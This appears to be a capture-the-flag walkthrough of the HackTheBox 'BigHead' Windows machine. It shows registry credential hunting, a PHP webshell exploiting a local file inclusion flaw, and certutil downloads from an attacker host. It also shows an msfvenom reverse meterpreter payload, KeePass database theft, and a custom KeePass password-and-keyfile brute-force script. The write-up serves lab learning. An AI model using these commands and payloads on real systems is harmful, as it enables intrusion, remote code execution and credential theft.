\ / | | \ / | \| | `-'`-' / (_{;}_)| |
`'-..-' ''-' `'-' `--------`'---' `._____.' '(_,_) '---'
.---. ,-----. ,---. ,---. .-''-. .-'''-.
| ,_| .' .-, '. | / | | .'_ _ \ / _ \
,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--'
\ '_ '`) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _).
> (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). '.
( . .-' : ( '\_/ \ ;\ (_ o._) /' \ .---..---. \ :
`-'`-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' |
| \'. \_/``".' \ / \ / \ /
`--------` '-----' `---` `'-..-' `-...-'
,---------. .---. .---. .-''-.
\ \| | |_ _| .'_ _ \
`--. ,---'| | ( ' ) / ( ` ) '
| \ | '-(_{;}_). (_ o _) |
:_ _: | (_,_) | (_,_)___|
(_I_) | _ _--. | ' \ .---.
(_(=)_) |( ' ) | | \ `-' /
(_I_) (_{;}_)| | \ /
'---' '(_,_) '---' `'-..-'
.---. .---. ____ .-'''-. .---. .---.
.-, | | |_ _| .' __ `. / _ \| | |_ _|
,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' )
\ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_)
_`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_)
( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. |
`"/ \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | |
\_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| |
'(_,_) '---' '.(_,_).' `-...-' '(_,_) '---'
C:\nginx>
Oh no.. It’s a troll :( It looks like we are going to need to do more enumeration to find it.
Enumeration Of Internal Environment
Taking a look at the users on the system we see nginx.
C:\nginx>dir /a C:\Users\
dir /a C:\Users\
Volume in drive C has no label.
Volume Serial Number is 7882-4E78
Directory of C:\Users
30/06/2018 20:21 <DIR> .
30/06/2018 20:21 <DIR> ..
23/06/2018 01:06 <DIR> Administrator
19/01/2008 12:51 <SYMLINKD> All Users [C:\ProgramData]
30/06/2018 20:21 <DIR> Aministrator
11/04/2009 14:30 <DIR> Default
19/01/2008 12:51 <JUNCTION> Default User [C:\Users\Default]
19/01/2008 12:44 174 desktop.ini
03/07/2018 19:45 <DIR> Nelson
05/07/2018 21:06 <DIR> nginx
05/07/2018 20:11 <DIR> Public
1 File(s) 174 bytes
10 Dir(s) 15,950,290,944 bytes free
C:\nginx>net users
net users
User accounts for \\PIEDPIPER
-------------------------------------------------------------------------------
Gilfoyle Guest Nelson
nginx
The command completed successfully.
C:\nginx>net user Nelson
net user Nelson
User name Nelson
Full Name Nelson
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 03/07/2018 19:41:42
Password expires Never
Password changeable 03/07/2018 19:41:42
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 01/09/2018 21:45:50
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\nginx>net user nginx
net user nginx
User name nginx
Full Name nginx
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 23/06/2018 17:01:41
Password expires Never
Password changeable 23/06/2018 17:01:41
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 01/09/2018 21:13:55
Logon hours allowed All
Local Group Memberships *IIS_IUSRS *Network Configuration
*Users
Global Group memberships *None
The command completed successfully.
C:\nginx>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
================ ============================================
piedpiper\nelson S-1-5-21-2525039534-546053075-121514198-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\nginx>
We see Nelson is a member of the NT AUTHORITY\BATCH group, but really, theres nothing very interesting to us at this stage…
Next, we look in “C:\Program Files\” and we see an interesting directory called “nginx manager”. Upon looking inside it, we discover it actually contains a Bitvise SSH Server Installation.
C:\Program Files\nginx manager>dir /a
dir /a
Volume in drive C has no label.
Volume Serial Number is 7882-4E78
Directory of C:\Program Files\nginx manager
05/07/2018 20:43 <DIR> .
05/07/2018 20:43 <DIR> ..
05/07/2018 20:38 284,120 BssActStateCheck.exe
05/07/2018 20:38 5,303,352 BssCfg.exe
05/07/2018 20:38 8,370,648 BssCfgManip.exe
05/07/2018 20:38 454,736 BssCfgManip.htm
05/07/2018 20:38 189,397 BssCfgManip.idl
05/07/2018 20:38 7,264,168 BssCtrl.exe
05/07/2018 20:38 3,469 BssCtrl.ps1
05/07/2018 20:38 9,485 BssInstalledResources.htm
05/07/2018 20:38 46,617 BssStat.cpp
05/07/2018 20:38 335,784 BssStat.exe
05/07/2018 20:38 67,064 BvDump32.exe
05/07/2018 20:38 255,904 BvLsaEx.dll
05/07/2018 20:38 262,048 bvPwd.exe
05/07/2018 20:38 221,664 bvRun.exe
05/07/2018 20:38 3,091,968 BvShell.exe
05/07/2018 20:38 10,301,488 BvSshServer.exe
05/07/2018 20:38 387,480 CiCpFips32.dll
05/07/2018 20:38 1,171,456 CiWinCng32.dll
05/07/2018 20:39 <DIR> Config
05/07/2018 20:38 1,277,496 CryptoPP530Fips32.dll
05/07/2018 20:38 2,961,840 execs.exe
01/09/2018 21:14 <DIR> Logs
05/07/2018 20:38 19,046 SfsDll.h
05/07/2018 20:38 1,953,680 SfsDll32.dll
05/07/2018 20:38 2,512 SfsDll32.lib
05/07/2018 20:38 39,091 SfsDllSample.cpp
05/07/2018 20:38 344,592 SfsDllSample.exe
05/07/2018 20:38 3,637,672 SfsServer.exe
01/09/2018 17:25 <DIR> Stats
05/07/2018 20:38 1,186,728 TelnetForward.exe
05/07/2018 20:38 <DIR> TermInfo
05/07/2018 20:38 0 totermh.dir
05/07/2018 20:38 111,040 totermh32.dll
05/07/2018 20:38 3,607,952 toterms.exe
05/07/2018 20:38 571,256 uninst.exe
05/07/2018 20:38 7,361 VirtAccountExporter.ps1
05/07/2018 20:38 6,549 VirtAccountImporter.ps1
33 File(s) 53,747,663 bytes
6 Dir(s) 15,950,290,944 bytes free
C:\Program Files\nginx manager>
Lets see what network service ports are listening and look for an ssh server port.
C:\nginx>netstat -ano|findstr LISTEN
netstat -ano|findstr LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2780
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 884
TCP 0.0.0.0:2020 0.0.0.0:0 LISTENING 1504
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8018 0.0.0.0:0 LISTENING 2604
TCP 0.0.0.0:8028 0.0.0.0:0 LISTENING 3128
TCP 0.0.0.0:8038 0.0.0.0:0 LISTENING 756
TCP 0.0.0.0:8048 0.0.0.0:0 LISTENING 3372
TCP 0.0.0.0:8058 0.0.0.0:0 LISTENING 3600
TCP 0.0.0.0:8068 0.0.0.0:0 LISTENING 3812
TCP 0.0.0.0:8078 0.0.0.0:0 LISTENING 3868
TCP 0.0.0.0:8088 0.0.0.0:0 LISTENING 3044
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 536
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 920
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 1068
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 624
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 612
TCP 192.168.56.101:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:443 0.0.0.0:0 LISTENING 1456
TCP 127.0.0.1:5080 0.0.0.0:0 LISTENING 1456
TCP [::]:135 [::]:0 LISTENING 884
TCP [::]:5357 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 536
TCP [::]:49153 [::]:0 LISTENING 920
TCP [::]:49154 [::]:0 LISTENING 1068
TCP [::]:49155 [::]:0 LISTENING 624
TCP [::]:49156 [::]:0 LISTENING 612
C:\nginx>
Port 2020 looks promisingly similar to the ssh default of 22 compared to all the other ports. We can use putty’s plink.exe to tunnel the port back to kali and investigate.
C:\Program Files\nginx manager>cd %TMP%
cd %TMP%
C:\Users\Nelson\AppData\Local\Temp>certutil -urlcache -split -f http://192.168.56.10/plink.exe plink.exe
certutil -urlcache -split -f http://192.168.56.10/plink.exe plink.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
C:\Users\Nelson\AppData\Local\Temp>dir /a
dir /a
Volume in drive C has no label.
Volume Serial Number is 7882-4E78
Directory of C:\Users\Nelson\AppData\Local\Temp
02/09/2018 01:57 <DIR> .
02/09/2018 01:57 <DIR> ..
02/09/2018 01:57 311,296 plink.exe
1 File(s) 311,296 bytes
2 Dir(s) 15,949,258,752 bytes free
C:\Users\Nelson\AppData\Local\Temp>plink.exe [email protected] -R 2020:127.0.0.1:2020
plink.exe [email protected] -R 2020:127.0.0.1:2020
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 86:0a:53:97:fb:d9:66:bd:a5:d9:3c:a4:78:83:82:77
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
[email protected]'s password: <-- XXXXXXXXXXXXXXXXXXXXX
Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 27 00:14:03 2018 from 10.10.10.97
[email protected]:~$
Then in another terminal we can check it’s running locally on kali and try to connect to the port and grab the banner using netcat.
[email protected]:~# netstat -pantl|grep 2020
tcp 0 0 127.0.0.1:2020 0.0.0.0:* LISTEN 5365/sshd: [email protected]
tcp6 0 0 ::1:2020
[email protected]:~# nc -nv 127.0.0.1 2020
(UNKNOWN) [127.0.0.1] 2020 (?) open
SSH-2.0-7.44 FlowSsh: Bitvise SSH Server (WinSSHD) 7.44: free only for personal non-commercial use
^C
But sadly we don’t have any creds for the nginx account, and attempting brute-force and dictionary attacks against ssh doesn’t work either.
Elevation Of Privileges To Nginx User
More enumeration is needed, and after some more digging around we use reg query to try to find some info about any Password entries in the registry
C:\Users\Nelson\AppData\Local\Temp>reg query HKLM /f Password /t REG_SZ /s
reg query HKLM /f Password /t REG_SZ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6BC0989B-0CE6-11D1-BAAE-00C04FC2E20D}\ProgID
(Default) REG_SZ IAS.ChangePassword.1
... [EXCESS OUTPUT REMOVED HERE] ...
Password REG_SZ
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Policy\Pipeline\23
(Default) REG_SZ IAS.ChangePassword
End of search: 45 match(es) found.
We see alot of info here. but then focus in on investigating HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx a bit more closely. A’HA! looks like a PasswordHash ! :D
However, on closer analysis, it’s not what we are looking for…
[email protected]:~# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
-------------------------------------------------------------------------
HASH: 336d72676e6333205361797a205472794861726465722e2e2e203b440a
Not Found.
-------------------------------------------------------------------------
[email protected]:~# echo 336d72676e6333205361797a205472794861726465722e2e2e203b440a|xxd -p -r
3mrgnc3 Sayz TryHarder... ;D
[email protected]:~#
But, if we go back and inspect the registry key location where it came from, we see something else interesting right next to it.
C:\Users\Nelson\AppData\Local\Temp>reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
Type REG_DWORD 0x10
Start REG_DWORD 0x4
ErrorControl REG_DWORD 0x1
ImagePath REG_EXPAND_SZ C:\Program Files\nssm\nssm.exe
DisplayName REG_SZ Nginx
ObjectName REG_SZ .\nginx
DelayedAutostart REG_DWORD 0x0
FailureActionsOnNonCrashFailures REG_DWORD 0x1
Description REG_SZ Nginx Web Proxy Service
FailureActions REG_BINARY 00000000000000000000000003000000140000000100000060EA00000100000060EA00000100000060EA0000
Authenticate REG_BINARY 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Enum
The “Authenticate REG_BINARY” setting looks a bit odd. As it’s a string of binary data, so lets convert back it into whatever data it represents.
[email protected]:~# echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -p -r
[REDACTED_FROM_WALKTHROUGH]
Hmnn… have we found the password? Let’s try it out.
[email protected]:~# ssh -p 2020 [email protected]
[email protected]'s password: <-- XXXXXXXXXXXXXXXXXXXXX
...
bvshell:/$ id
id: Command not found.
We seem to be inside the Bitvise bvterm Shell jail.

Our commands are very limited but we can at least see the user.txt at last.

Strange, we own the file but can’t seem to view it. Let’s copy it off using scp and see what we can find out.
[email protected]:~# scp -P 2020 [email protected]:user.txt nginx_user.txt
[email protected]'s password:
user.txt 100% 705 150.9KB/s 00:00
[email protected]:~# file nginx_user.txt
nginx_user.txt: MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Archive, ctime=Tue Jul 3 18:58:07 2018, mtime=Tue Jul 3 18:58:07 2018, atime=Tue Jul 3 19:02:44 2018, length=32, window=hide
[email protected]:~# strings nginx_user.txt
/C:\
Users
nginx
Desktop
user.txt
piedpiper
It turns out just to be a shortcut file pointing to “C:\Users\nginx\Desktop\user.txt”. I guess we will need to find a way to access that. Let’s come back to it in a bit…
Deeper Enumeration Of Internal Environment
Reviewing the contents of our root directory in the BvShell, we come accross a directory called “apps” that itself contains the “testlink” directory we saw a path leak from.

It looks like all the files here are owned by the [email protected] group. Perhaps XAMPP Apache Server is running under the system account?
Maybe we can drop a php backdoor?

Not so fast. No write permissions here. We continue our enumeration…
Following some recon in here, we find a more recently edited file with some custom PiperCoin code added to it.


It seems a stub of code has been added after line 46 of the “linkto.php” script. After a short analysis we discover line 62 includes the value of the $PiperCoinAuth variable with the require_once() function. Looking at line 48, we see that this variable is set to the contents of the ‘PiperCoinID’ POST Parameter as long as the ‘PiperID’ POST Parameter is also set. This means we have discovered a PHP LFI vulnerability in the added code.
Elevation Of Privileges To System
Although we can’t write any files as nginx, we can as nelson. Therefore we can write a webshell in “C:\Users\Nelson\AppData\Local\Temp\” and use a curl command to exploit the vulnerability.
So lets write simple webshell and place it in the “Temp” directory as nelson
[email protected]:~# cat 3mrgnc3.txt
<?php system($_POST["pwn"]);?>
[email protected]:~# python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
C:\Users\Nelson\AppData\Local\Temp>certutil -urlcache -split -f http://192.168.56.10/3mrgnc3.txt 3mrgnc3.php
certutil -urlcache -split -f http://192.168.56.10/3mrgnc3.txt 3mrgnc3.php
**** Online ****
CertUtil: -URLCache command completed successfully.
C:\Users\Nelson\AppData\Local\Temp>type 3mrgnc3.php
type 3mrgnc3.php
<?php system($_POST["pwn"]);?>
C:\Users\Nelson\AppData\Local\Temp>
Then use a quick bash script to use it.

[email protected]:~# ./pwnshell.sh whoami
nt authority\system
User Hash At Last!
Let’s finally grab the user.txt & root.txt hashes.
[email protected]:~# ./pwnshell.sh 'more < C:\Users\nginx\Desktop\user.txt'
[REDACTED_FROM_WALKTHROUGH]
We got the user hash sure enough… but what about the root one?
[email protected]:~# ./pwnshell.sh 'type "C:\Users\Administrator\Desktop\root.txt"'
* * *
Gilfoyle's Prayer
___________________6666666___________________
____________66666__________66666_____________
_________6666___________________666__________
_______666__6____________________6_666_______
_____666_____66_______________666____66______
____66_______66666_________66666______666____
___66_________6___66_____66___66_______666___
__66__________66____6666_____66_________666__
_666___________66__666_66___66___________66__
_66____________6666_______6666___________666_
_66___________6666_________6666__________666_
_66________666_________________666_______666_
_66_____666______66_______66______666____666_
_666__666666666666666666666666666666666__66__
__66_______________6____66______________666__
___66______________66___66_____________666___
____66______________6__66_____________666____
_______666___________666___________666_______
_________6666_________6_________666__________
____________66666_____6____66666_____________
___________________6666666________________
Prayer for The Praise of Satan's Kingdom
Praise, Hail Satan!
Glory be to Satan the Father of the Earth
and to Lucifer our guiding light
and to Belial who walks between worlds
and to Lilith the queen of the night
As it was in the void of the beginning
Is now,
and ever shall be, Satan's kingdom without End
so it is done.
* * *
Literally, What.. the.. Hell?… haha. :D
So… it looks like a deeper inspection is needed, and after checking for NTFS alternate data streams in the file we see …
[email protected]:~# ./pwnshell.sh 'dir /a /r "C:\Users\Administrator\Desktop\"'
Volume in drive C has no label.
Volume Serial Number is 7882-4E78
Directory of C:\Users\Administrator\Desktop
06/10/2018 15:38 <DIR> .
06/10/2018 15:38 <DIR> ..
06/10/2018 15:38 697 chest.lnk
02/07/2018 12:56 3,579,384 hardentools.exe
05/07/2018 18:23 971 Immunity Debugger.lnk
06/10/2018 15:33 1,519 root.txt
7,294 root.txt:Zone.Identifier:$DATA
5 File(s) 3,837,547 bytes
2 Dir(s) 17,717,518,336 bytes free
Judging by the file size, it looks a bit larger than just an md5sum hash…
Lets try to get a propper meterpreter shell so we can more easily do some enumeration and download the file.
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST 192.168.56.10 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.10.06-20:53:29] Started reverse TCP handler on 192.168.56.10:53
msf exploit(multi/handler) >
Then, use msfvenom to generate a payload.
[email protected]:~# msfvenom -p windows/meterpreter_reverse_tcp -a x86 \
LHOST=192.168.56.101 LPORT=53 -f exe -o 3mrgnc3.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 179779 bytes
Final size of exe file: 254976 bytes
Saved as: 3mrgnc3.exe
[email protected]:~/HTB/BigHead# serv 80
Serving HTTP on 0.0.0.0 port 80 ...
And gain a shell…
[email protected]:~# ./pwnshell.sh 'echo %TEMP%'
C:\Windows\TEMP
[email protected]:~# ./pwnshell.sh 'certutil -urlcache -split -f \
http://192.168.56.101/3mrgnc3.exe %TEMP%/3mrgnc3.exe'
**** Online ****
CertUtil: -URLCache command completed successfully.
[email protected]:~# ./pwnshell.sh 'start %TEMP%/3mrgnc3.exe'
msf exploit(multi/handler) >
[*] Meterpreter session 10 opened (192.168.56.10:53 -> 192.168.56.101:49165) at 2018-10-06 21:07:34 +0100
msf exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
10 meterpreter x86/windows NT AUTHORITY\SYSTEM @ PIEDPIPER 192.168.56.10:53 -> 192.168.56.101:49165 (192.168.56.101)
msf exploit(multi/handler) > sessions -i 10
[*] Starting interaction with 10...
meterpreter > pwd
C:\xampp\apps\testlink\htdocs
meterpreter > cd "C:\Users\Administrator\Desktop"
meterpreter > pwd
C:\Users\Administrator\Desktop
meterpreter > download root.txt:Zone.Identifier
[*] Downloading: root.txt:Zone.Identifier -> root.txt:Zone.Identifier
[*] Downloaded 7.12 KiB of 7.12 KiB (100.0%): root.txt:Zone.Identifier -> root.txt:Zone.Identifier
[*] download : root.txt:Zone.Identifier -> root.txt:Zone.Identifier
meterpreter >
Let’s take a look at what the data might contain.
[email protected]:~# file root.txt\:Zone.Identifier
root.txt:Zone.Identifier: Keepass password database 2.x KDBX
It’s a KeePass2 database file. Lets use the keepass2john script to generate a hash for the password and then see if john can crack it.
[email protected]:~# keepass2john root.txt\:Zone.Identifier > kdbx-hash
[email protected]:~# cat kdbx-hash
root.txt:Zone.Identifier:$keepass$*2*1*222*ea5626a6904620cad648168ef3f1968766f0b5f527c9a8028c1c1b03f2490449*cb3114b5089ffddbb3d607e490176e5e8da3022fc899fad5f317f1e4ebf4c268*a0b68d67dca93aee8f9804c28dac5995*afd02b46e630ff764adb50b7a2aae99d8961b1ab4676aff41c21dca19550c9ac*43c6588d17bceedbd00ed20d5ea310b82170252e29331671cc8aea3edd094ef6
[email protected]:~# john kdbx-hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:43 DONE (2018-10-06 22:21) 0g/s 327495p/s 327495c/s 327495C/s *7¡Vamos!
Session completed
NOPE! :(
Trying other wordlists yields the same result. It seems we are still missing something…
After a bit of research on how KeePass2 can be configured, we discover that a password can also be used in combination with a keyfile.

We also discover that each Windows user stores an XML config file in their profile that shows the setting for their database. This includes the location of their keyfile if they are using one.
Let’s use the search feature in meterpreter to look for the config file and try to extract the location of the keyfile if one is being used.
meterpreter > search -f keepass*.xml
Found 2 results...
c:\Program Files\kpps\KeePass.config.xml (252 bytes)
c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml (4705 bytes)
meterpreter > download "c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml" KeePass.config.xml
[*] Downloading: c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
[*] Downloaded 4.59 KiB of 4.59 KiB (100.0%): c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
[*] download : c:\Users\Administrator\AppData\Roaming\KeePass\KeePass.config.xml -> KeePass.config.xml
meterpreter >
[email protected]:~# grep -i keyfile KeePass.config.xml
<Item>[email protected]\..\Users\Administrator\Pictures</Item>
<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
Sneaky Gilfoyle is using his profile picture as his keyfile!

Also noteworthy is the fact that option to tie access of the database with a local windows user account is set to false in the <PreferUserConfiguration> setting.
[email protected]:~# grep -i PreferUserConfiguration KeePass.config.xml
<PreferUserConfiguration>false</PreferUserConfiguration>
Anyway… Let’s grab it and move on…
meterpreter > download "c:\Users\Administrator\Pictures\admin.png" admin.png
[*] Downloading: c:\Users\Administrator\Pictures\admin.png -> admin.png
[*] Downloaded 113.24 KiB of 113.24 KiB (100.0%): c:\Users\Administrator\Pictures\admin.png -> admin.png
[*] download : c:\Users\Administrator\Pictures\admin.png -> admin.png
meterpreter >
Now we have a keyfile and a kdbx database we can’t rely on any current attack tools to work properly in helping us bruteforce the password.
If we try to use keepass2john with the keyfile is fails to give us anything useful at all…
[email protected]:~# keepass2john
Usage: keepass2john [-i <inline threshold>] [-k <keyfile>] <.kdbx database(s)>
Default threshold is 1024 bytes (files smaller than that will be inlined)
[email protected]:~# keepass2john -k admin.png root.txt\:Zone.Identifier
admin.png
Aborted
A custom solution is required, so I wrote my own script making use of the kpcli command line KeePass utility.
It’s pretty slow and can be improved using multiprocessing perhaps, but for our needs it should be fine.
brute-kdbx.sh
#!/bin/bash
# Requires KeePass CLI (kpcli)
# Colour Formatting
r="\033[0;31m" # red
g="\033[0;32m" # green
c="\033[0;36m" # cyan
w="\033[0;37m" # white
o="\033[0m" # No Color
G="\033[1;32m" # green highlighted
C="\033[1;32m" # cyan highlighted
b=" ${w}[${r}*${w}]${o}" # border
requires(){ # Check requirement
printf $"${b} ${r}Requires KeePass CLI (kpcli)!\n${b} Run: apt update && apt -y install kpcli\n"
}
if [[ ! "$(which kpcli)" ]]; then
requires
exit 1
fi
hint(){ # provide usage hint
printf $"${b} ${G}Usage: ${0} <database.kdbx> <keyfile> <wordlist>\n"
}
if [[ ! "${3}" ]]; then
hint
exit 1
fi
# Variable Args
kdbx="${1}"
key="${2}"
wordlist="${3}"
total="$(wc -l $wordlist|cut -d' ' -f1)"
num=1
banner(){ # Status Output Banner
printf $"
${w}-----------------------------------------------
${b} ${C}KeePass2 Password and keyfile Bruteforcer
${b} ${o}By ${r}ȜӍŖGͶϾȜ${o} for HackTheBox BigHead Machine
${b} ${o}KDBX DB = ${c}${r}[${c}${kdbx}${r}]
${b} ${o}KEY File = ${c}${r}[${c}${key}${r}]
${b} ${o}Wordlist = ${c}${r}[${c}${wordlist}${r}]
${b} Words Tested = ${r}[${c}$num/$total${r}]${w}
${b} Password = ${r}[${G}$word${r}]${o}
${b} Time Elapsed = ${r}[${c}$(date [email protected]${t} -u +%H:hours\ %M:mins\ %S:secs)${r}]${w}
${w}-----------------------------------------------
${o}"
}
# test each password with the keyfile against the kdbx database.
s=$SECONDS
while read word;
do
clear
t=$(( SECONDS - s ))
banner
echo $word|kpcli --key $key --kdb $kdbx|grep -v 'Please\|invalid'
delay=$(( SECONDS - t ))
if [[ $delay > 1 ]]; then
printf $"\n${b} Password = ${r}[${G}$word${r}]${o}\n\n"
exit 0
fi
num=$[$num + 1]
done < $wordlist
printf $"${b} ${g}Bye bye ;D\n"
exit 0
Winner Winner Chicken Dinner!
So, when we run it it takes a bit of time but eventually we get the password and the script automatically logs us into the database.

It didn’t take too long at all in the end, only seven and a half minutes in fact. So now we have the hash!
And there you have it.
Hope peeps had fun ;)

Yours, ȜӎŗgͷͼȜ